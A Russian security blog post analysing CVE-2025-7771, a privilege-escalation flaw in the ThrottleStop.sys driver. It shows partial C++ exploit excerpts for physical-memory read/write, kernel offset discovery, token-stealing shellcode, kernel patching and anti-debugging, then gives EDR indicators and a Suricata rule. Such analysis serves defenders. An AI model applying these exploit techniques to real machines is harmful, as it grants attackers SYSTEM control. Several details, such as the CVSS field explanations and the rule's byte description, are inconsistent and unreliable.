Уязвимость в драйвере ThrottleStop.sys
Уязвимость в драйвере ThrottleStop.sys
Категория: Программы Теги: Уязвимости Опубликовано: 12 сентября 2025

Уязвимость BDU:2025-09694 (CVE-2025-7771) ThrottleStop

Уязвимость BDU:2025-09694 (CVE-2025-7771) представляет собой критический недостаток контроля доступа в легитимном драйвере ThrottleStop.sys, входящем в состав популярной утилиты для разгона и управления питанием процессоров ThrottleStop. Уязвимость существует в функции обработки IOCTL-запросов, которая использует MmMapIoSpace() для небезопасного отображения физической памяти. Это позволяет локальному низкопривилегированному пользователю выполнять произвольные операции чтения и записи в физической памяти ядра, что в конечном итоге приводит к повышению привилегий до уровня SYSTEM.

Анализ уязвимости

Уровень опасности: 8.7 HIGH (CVSS-B)
Вектор атаки: 

CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

  • AV:L (Вектор атаки) - Локальный

  • AC:H (Сложность эксплуатации) - Высокая

  • AT:N (Требуемые привилегии атакующего) - Не требуется

  • PR:H (Уровень привилегий для эксплуатации) - Высокий (требует наличия учётной записи пользователя)

  • UI:N (Вовлечение пользователя) - Не требуется

  • VC:H (Влияние на конфиденциальность) - Высокое

  • VI:H (Влияние на целостность) - Высокое

  • VA:H (Влияние на доступность) - Высокое

  • SC:H (Влияние на последующие системы) - Высокое

  • SI:H (Влияние на последующую целостность) - Высокое

  • SA:H (Влияние на последующую доступность) - Высокое

Условия эксплуатации

Для успешной эксплуатации уязвимости злоумышленник должен иметь возможность выполнить код на целевом компьютере под учётной записью пользователя с обычными привилегиями (не администратора). Ключевым условием является наличие на системе уязвимой версии драйвера ThrottleStop.sys (от 3.0.0.0 до 9.7.3 включительно). Драйвер должен быть загружен в систему, что обычно происходит при запуске утилиты ThrottleStop. Атака является локальной (LPE - Local Privilege Escalation) и не может быть выполнена удалённо без наличия другой уязвимости или метода для первоначального выполнения кода на машине-жертве.

Анализ кода эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит представляет собой сложную программу на C++, использующую несколько техник для обхода защиты и надёжного выполнения.

  1. Получение хендла драйвера: Первым шагом является получение хендла на уязвимое устройство драйвера.

HANDLE GetThrottleStopDeviceHandleImproved() {
    // ... расшифровка строки ...
    char devicePath[256];
    DecryptString(&encDevicePath, devicePath); // \\.\ThrottleStop
    // ...
    HANDLE hDevice = CreateFile(
        wDevicePath, // \\.\ThrottleStop
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    return hDevice;
}

Код использует технику обфускации строки \\.\ThrottleStop, чтобы усложнить статический анализ.

  1. Примитивы чтения/записи: Ядро эксплоита — функции чтения и записи физической памяти через уязвивые IOCTL.

bool ReadPhysicalMemoryImproved(HANDLE hDevice, ULONG64 PhysicalAddress, PVOID Buffer, SIZE_T Size, ULONG Version) {
    IOCTL_PHYS_MEMORY Input = { 0 };
    Input.PhysicalAddress = PhysicalAddress;
    Input.Buffer = Buffer;
    Input.Size = Size;
    // Попытка использовать разные версии IOCTL для совместимости
    ULONG IoctlCode = 0;
    switch (Version) {
        case 1: IoctlCode = IOCTL_THROTTLESTOP_V1_READ; break; // 0x222000
        case 2: IoctlCode = IOCTL_THROTTLESTOP_V2_READ; break; // 0x222010
        // ... другие версии ...
    }
    return DeviceIoControl(hDevice, IoctlCode, &Input, sizeof(Input), &Input, sizeof(Input), &dwBytesReturned, NULL);
}

Эксплоит пытается использовать несколько IOCTL-кодов (от V1 до V5), что повышает его шансы на успех на разных версиях драйвера. Вредоносный IOCTL-запрос, отправляемый через DeviceIoControl, будет выглядеть как запрос на чтение по определённому физическому адресу.

  1. Поиск смещений в структурах ядра: Для работы техники кражи токена необходимо знать точные смещения полей в структурах _EPROCESS и _KTHREAD ядра Windows. Эти смещения меняются между версиями ОС.

bool DiscoverKernelOffsets(SHELLCODE_METADATA* metadata) {
    // Находит адрес функции PsInitialSystemProcess в ядре
    PVOID kernelPsInitialSystemProcess = ...;
    ULONG64 systemProcessAddr = 0;
    // Считывает значение указателя через физическую память
    ReadPhysicalMemoryImproved(..., kernelPsInitialSystemProcess, &systemProcessAddr, ...);
    // Ищет в структуре EPROCESS системы поле UniqueProcessId (со значением 4)
    for (ULONG64 offset = 0; offset < 0x1000; offset += 8) {
        ULONG64 value = 0;
        ReadPhysicalMemoryImproved(..., systemProcessAddr + offset, &value, ...);
        if (value == SYSTEM_PID) { // 4
            metadata->UniqueProcessIdOffset = offset;
            break;
        }
    }
    // На основе версии Windows устанавливает остальные смещения
    DWORD windowsVersion = GetWindowsVersion();
    if (majorVersion == 10 ...) {
        metadata->TokenOffset = 0x4b8;
        metadata->ActiveProcessLinksOffset = 0x448;
        // ...
    }
}

Этот код демонстрирует, как эксплоит динамически определяет необходимые для атаки смещения, делая его более универсальным.

  1. Создание шеллкода: Эксплоит генерирует шеллкод, который ищет токен процесса SYSTEM и присваивает его целевому процессу.

void AddCopyToken(std::vector<BYTE>& shellcode, SHELLCODE_METADATA* metadata) {
    // Шеллкод в ASM для x64
    BYTE copyToken[] = {
        0x48, 0x8B, 0x5B, (BYTE)(metadata->TokenOffset - 8), // mov rbx, [rbx + TokenOffset]
        0x48, 0x8B, 0x43, 0x70,                    // mov rax, [rbx + 0x70] (предполагаемая структура токена)
        0x48, 0x89, 0x43, 0x70                     // mov [rbx + 0x70], rax (кража токена)
    };
    shellcode.insert(shellcode.end(), copyToken, copyToken + sizeof(copyToken));
}

Сгенерированный шеллкод внедряется в ядро для выполнения.

  1. Внедрение и выполнение: Ключевой этап — патчинг кода в ядре для выполнения шеллкода.

bool PatchKernelForPrivilegeEscalationSafe(HANDLE hDevice, ULONG DriverVersion) {
    // 1. Находит базовый адрес ядра (ntoskrnl.exe)
    PVOID KernelBase = GetKernelBase();
    // 2. Находит функцию в ядре (например, NtCreateThreadEx)
    PVOID targetFunction = GetProcAddress(..., "NtCreateThreadEx");
    PVOID kernelFunction = ...; // Преобразует в адрес в пространстве ядра
    // 3. Получает физический адрес этой функции
    ULONG64 physicalAddress = GetPhysicalAddressAccurate(kernelFunction);
    // 4. Сохраняет оригинальные байты функции
    ReadPhysicalMemorySafe(hDevice, physicalAddress, originalBytes.data(), ...);
    // 5. Записывает свой шеллкод поверх функции ядра
    WritePhysicalMemorySafe(hDevice, physicalAddress, shellcode, ...);
    // 6. Вызывает патченную функцию, triggering выполнение шеллкода в RING-0
    NtCreateThreadExPtr(...);
    // 7. Восстанавливает оригинальные байты
    WritePhysicalMemorySafe(hDevice, physicalAddress, originalBytes.data(), ...);
}

Это классическая техника патчинга ядра на физическом уровне.

  1. Обфускация и анти-отладка: Код содержит сложные методы для избежания обнаружения.

bool IsDebuggerPresentAdvanced() {
    // Проверяет наличие отладчика через несколько методов
    if (::IsDebuggerPresent()) return true;
    // Проверяет DebugPort процесса
    NTSTATUS status = NtQueryInformationProcessPtr(..., ProcessDebugPort, ...);
    // Проверяет DebugObject
    status = NtQueryInformationProcessPtr(..., ProcessDebugObjectHandle, ...);
    // Проверяет время выполнения "тяжёлой" операции
    QueryPerformanceCounter(&start);
    for (int i = 0; i < 1000; i++) { sum += i; }
    QueryPerformanceCounter(&end);
    if (elapsed > 0.5) { return true; } // Если выполняется долго, вероятно, под отладчиком
    return false;
}

Эти методы значительно усложняют анализ эксплоита вручную и в песочницах.

Возможности злоумышленника и последствия атаки

Успешная эксплуатация уязвимости CVE-2025-7771 предоставляет злоумышленнику беспрецедентный уровень контроля над системой:

Повышение привилегий (Privilege Escalation): Основное применение — получение прав уровня NT AUTHORITY\SYSTEM из-под обычного пользователя. Это позволяет выполнять любые действия на системе: установку и удаление программ, изменение системных настроек и политик безопасности.

Методы защиты

Защита от данной уязвимости требует комплексного подхода, так как она затрагивает самый низкоуровневый слой безопасности — ядро ОС.

  1. Обновление программного обеспечения: Это первоочередная и самая эффективная мера, но на момент публикации последней выпущенной версией является уязвимая 9.7.3, поэтому следует рассмотреть возможность перехода на другое ПО или отказа от него.

  2. Обнаружение и мониторинг (Endpoint Detection and Response - EDR):

    • Современные EDR-системы способны детектировать аномальную активность, связанную с использованием драйверов. Необходимо искать подозрительные операции:

      • Попытки открытия хендла \\.\ThrottleStop из процесса, не являющегося самим ThrottleStop.

      • Последовательные вызовы DeviceIoControl с кодами IOCTL, характерными для данной уязвимости (0x222000, 0x222004, 0x222010, 0x222014, etc.), особенно исходящие от нетипичных процессов (например, из браузера или офисного приложения).

      • Попытки прямого чтения/записи физической памяти из пользовательского режима.

    • Настройте оповещения на такие события.

  3. Системы обнаружения вторжений (IPS/IDS):

    Правило для Suricata

    alert tcp any any -> $HOME_NET any (msg:"CVE-2025-7771 - Possible ThrottleStop Exploit - Suspicious IOCTL Pattern"; flow:established,to_server; content:"|00 00 00 22|"; content:"|00 00 00 22|"; distance:4; within:8; content:"|00 00 00 22|"; distance:4; within:8; metadata:policy security-ips drop, service driver; classtype:attempted-admin; sid:20257771; rev:1;)

    Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).

Что оно ищет? Это правило ищет в TCP-потоке несколько повторяющихся вхождений байтов 0x22 00 00 00 (что соответствует младшим байтам IOCTL-кодов, например, 0x222000).

Когда оно может сработать? Это правило не предназначено для обнаружения самой эксплуатации уязвимости через зашифрованное RDP-соединение. Оно может быть полезно в двух сценариях:

Обнаружение доставки эксплоита: Если эксплоит передается по сети до установления RDP-соединения или по другому, незашифрованному каналу (например, через HTTP, SMB), анализатор трафика может увидеть сигнатуру этого кода в теле пакета.

Обнаружение активности в незашифрованных каналах: Если по каким-то причинам RDP-соединение не использует шифрование (что является серьезной ошибкой настройки безопасности), то правило может сработать.

Ограничения: Правило является эвристическим и может давать как ложноположительные срабатывания (легитимный сетевой трафик может случайно содержать такую последовательность байтов), так и ложноотрицательные (злоумышленник может обфусцировать или изменить код эксплоита).

Для эффективного обнаружения данной атаки средства защиты должны быть расположены на хосте (Endpoint Detection and Response - EDR): Это наиболее эффективное место для обнаружения локальных атак. EDR-система может отслеживать:

  • Попытки открытия хендла устройства \\.\ThrottleStop процессами, не являющимися легитимным ThrottleStop.

  • Прямые вызовы DeviceIoControl с опасными кодами IOCTL (0x2220000x222004 и т.д.).

  • Попытки чтения/записи физической памяти или патчинга ядра.

  • Аномальное поведение процессов, ведущее к повышению привилегий.

Алексей Черемных Алексей Черемных
313